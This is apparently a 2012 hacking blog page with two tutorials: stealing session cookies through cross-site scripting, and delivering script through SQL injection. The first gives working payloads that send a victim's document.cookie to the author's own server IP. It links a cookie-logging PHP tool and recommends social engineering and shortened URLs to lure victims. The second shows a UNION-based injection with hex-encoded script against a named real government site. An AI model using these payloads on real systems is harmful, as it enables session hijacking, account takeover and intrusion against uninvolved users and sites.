XSS ---> Theft Session Cookies Full Tutorial

XSS

XSS ---> Theft Session Cookies Full Tutorial

Ajith KP   November 07, 2012

XSS / CSS stands for Cross Site Scripting.
XSS is used to client side attacks. It helps us to client side deface and theft session cookies.

Finding XSS vulnerability:

search.php?q=<script>alert("Ajithkp560 was Here")</script>
search.php?q=<script>alert("Ajithkp560 was Here");</script>
search.php?q=alert%28%5C%22Ajithkp560%20was%20Here%5C%22%29%3C%2Fscript%3E
search.php?q=%3Cscript%3Ealert%28%5C%22Ajithkp560%20was%20Here%5C%22%29%3B%3C%2Fscript%3E
search.php?q=';%20alert("Ajithkp560%20was%20here%20%3Ap");%20'

search.php?q=”><script>alert("Ajithkp560 was here")%3B<%2Fscript>

Look above image... This is called client side deface.

Now lets dig session cookies.

Lets alert(document.cookie)

Now we can redirect victim to our malicious PHP application. Here I'm using the PHP file stored in my personal server.

Download malicious PHP application from: http://ajithkp560.hostei.com/php/xss

1. search.php?q=<script>location.href='http://49.200.141.215/xss.php?cookie='+document.cookie;</script>
2. search.php?q=<script>window.location='http://49.200.141.215/xss.php?cookie='+document.cookie;</script>
3. search.php?q=<script>document.location='http://49.200.141.215/xss.php?cookie='+document.cookie;</script>

JavaScript to redirect to my malicious PHP file

Redirected to my Malicious PHP file

Now folks check out my directory which stored xss.php.

Now lets open "configurations.txt".

Some tricks, tools and abilities you needed

• Firefox
• Firefox addons cookies manager+ [for edit value of cookies in your firefox browser]
• High talent in social engineering
• Some known tricks like "Shorting URL[eg. http://cjb.net]", Hexing URL, etc.

Dedicated to OPENFIRE Members... ALEX Thanks for remember me about this...

<<<<<<<<<<<<<<<<<<<<<<<<<<<<Comments Please>>>>>>>>>>>>>>>>>>>>>>>>>>>
>>>>>>>>>>>>>>>>>>>>>>>>>>>Share with friends<<<<<<<<<<<<<<<<<<<<<<<<<<<<
<<<<<<<<<<<<<<<<<<<<<<<<Don't click unkown links>>>>>>>>>>>>>>>>>>>>>>>>>>

XSS via SQL Injection

XSS

XSS via SQL Injection

AJITH KP   October 03, 2012

Hello Guys. You can use SQLi instead of XSS injection. Yes it is a simple trick.

[0x01] You got SQLi vulnerability in website
http://www.vulnerable.com/index.php?id=560

[0x02] Next count the columns. You got 5 columns and column 3 is 
vulnerable.

[0x03] Next encode your JavaScript to HexaDecimal value.
Eg. <script>alert("Ajith 'n Ajmal")</script> 's hexa decimal value is 3c7363726970743e616c6572742822416a69746820276e20416a6d616c22293c2f7363726970743e

[0x04] Insert the hexa decimal value into group_concat function.
That is now use URL 

www.vulnerable.com/index.php?id=560+UNION+SELECT+1,2,group_concat(0xhexadecimalvalue),4,5

 
Eg. http://www.commerce.gov.pk/ptmaview.php?ID=-32+union+select+1,2,3,group_concat%280x3c7363726970743e616c6572742822416a69746820274e20416a6d616c22293c2f7363726970743e%29,5,6,7,8,9,10,11,12,13,14 



[0x05] By Team AJJA[Ajith Kp | Jhelai Sahadevan | Jitendra Singh | Ajmal Joshi]
Hope You Like this trick...

if you share this in your blogs please add my link to this blog...